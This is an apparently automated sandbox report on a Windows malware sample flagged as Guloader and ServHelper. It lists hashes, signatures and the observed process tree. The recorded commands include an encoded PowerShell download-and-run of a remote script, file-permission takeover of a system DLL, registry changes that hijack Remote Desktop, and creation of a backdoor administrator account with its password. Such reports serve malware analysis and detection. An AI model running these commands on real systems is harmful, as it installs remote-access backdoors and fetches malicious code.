Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    31-01-2022 23:55

General

  • Target

    979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe

  • Size

    4.5MB

  • MD5

    e9fae6305a1e589c8b63bb9ce114b2bc

  • SHA1

    0f2f0b98ce5a51595a91b6ebb43dfc4f10e94ecb

  • SHA256

    979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e

  • SHA512

    2b92d944165910640cd8e79278dddbf314f3e6257e8293346905a6f2d658cfc98ef6a5077e3c37acddad7d8bb7e25ee8ec487fbbf25669f926032877ad7a937c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Guloader Payload 1 IoCs
  • Blocklisted process makes network request 10 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 18 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe
    "C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3188
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hsb2lbvn\hsb2lbvn.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4EA5.tmp" "c:\Users\Admin\AppData\Local\Temp\hsb2lbvn\CSC734816BCC82D4F1AA75D4D406B502B42.TMP"
          4⤵
            PID:688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2148
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4088
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3252
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1952
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3268
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2632
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3316
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3980
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1948
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1708
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:660
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3728
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3276
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1804
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:432
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:656
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3752
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:704
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2076
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:204
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3424
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                1⤵
                  PID:3904
                • C:\Windows\System32\WaaSMedicAgent.exe
                  C:\Windows\System32\WaaSMedicAgent.exe 049e4705c8c1c06de332ed4fa09d06cc m1LUVBdGck63P0D30X+vRQ.0.1.0.0.0
                  1⤵
                  • Modifies data under HKEY_USERS
                  PID:3772
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe user WgaUtilAcc 000000 /del
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3996
                  • C:\Windows\system32\net.exe
                    net.exe user WgaUtilAcc 000000 /del
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3544
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                      3⤵
                        PID:2000
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc Gbv2h83j /add
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2908
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc Gbv2h83j /add
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3380
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc Gbv2h83j /add
                        3⤵
                          PID:1536
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3468
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        2⤵
                          PID:2252
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:3724
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                          1⤵
                            PID:1152
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                              2⤵
                                PID:3268
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                                  3⤵
                                    PID:2632
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                1⤵
                                  PID:2424
                                  • C:\Windows\system32\net.exe
                                    net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    2⤵
                                      PID:1924
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                        3⤵
                                          PID:2192
                                    • C:\Windows\System32\cmd.exe
                                      cmd /C net.exe user WgaUtilAcc Gbv2h83j
                                      1⤵
                                        PID:3584
                                        • C:\Windows\system32\net.exe
                                          net.exe user WgaUtilAcc Gbv2h83j
                                          2⤵
                                            PID:2820
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 user WgaUtilAcc Gbv2h83j
                                              3⤵
                                                PID:3292
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C wmic path win32_VideoController get name
                                            1⤵
                                              PID:1648
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic path win32_VideoController get name
                                                2⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1612
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C wmic CPU get NAME
                                              1⤵
                                                PID:312
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic CPU get NAME
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2908
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                1⤵
                                                  PID:3820
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    2⤵
                                                      PID:4088
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                        3⤵
                                                        • Blocklisted process makes network request
                                                        • Drops file in Program Files directory
                                                        • Drops file in Windows directory
                                                        • Modifies data under HKEY_USERS
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1952

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • memory/640-160-0x00000141873A3000-0x00000141873A5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/640-158-0x00000141873A0000-0x00000141873A2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/640-161-0x00000141873A6000-0x00000141873A8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1536-170-0x000001C3153D0000-0x000001C32D500000-memory.dmp

                                                    Filesize

                                                    385.2MB

                                                  • memory/1536-168-0x000001C3153D0000-0x000001C32D500000-memory.dmp

                                                    Filesize

                                                    385.2MB

                                                  • memory/1536-167-0x000001C3153D0000-0x000001C32D500000-memory.dmp

                                                    Filesize

                                                    385.2MB

                                                  • memory/1952-222-0x000001A93E690000-0x000001A956820000-memory.dmp

                                                    Filesize

                                                    385.6MB

                                                  • memory/1952-219-0x000001A93E690000-0x000001A956820000-memory.dmp

                                                    Filesize

                                                    385.6MB

                                                  • memory/1952-218-0x000001A93E690000-0x000001A956820000-memory.dmp

                                                    Filesize

                                                    385.6MB

                                                  • memory/2148-176-0x00000255DC760000-0x00000255DC762000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2148-177-0x00000255DC763000-0x00000255DC765000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2148-180-0x00000255DC766000-0x00000255DC768000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2212-131-0x000001E86B033000-0x000001E86B035000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2212-133-0x000001E86B036000-0x000001E86B037000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2212-130-0x000001E86B030000-0x000001E86B032000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2212-132-0x000001E86B035000-0x000001E86B036000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3188-144-0x0000018D46F66000-0x0000018D46F68000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3188-183-0x0000018D46F68000-0x0000018D46F69000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3188-152-0x0000018D47980000-0x0000018D47B8A000-memory.dmp

                                                    Filesize

                                                    2.0MB

                                                  • memory/3188-151-0x0000018D475F0000-0x0000018D47766000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                  • memory/3188-142-0x0000018D46F60000-0x0000018D46F62000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3188-143-0x0000018D46F63000-0x0000018D46F65000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3188-138-0x0000018D470A0000-0x0000018D470C2000-memory.dmp

                                                    Filesize

                                                    136KB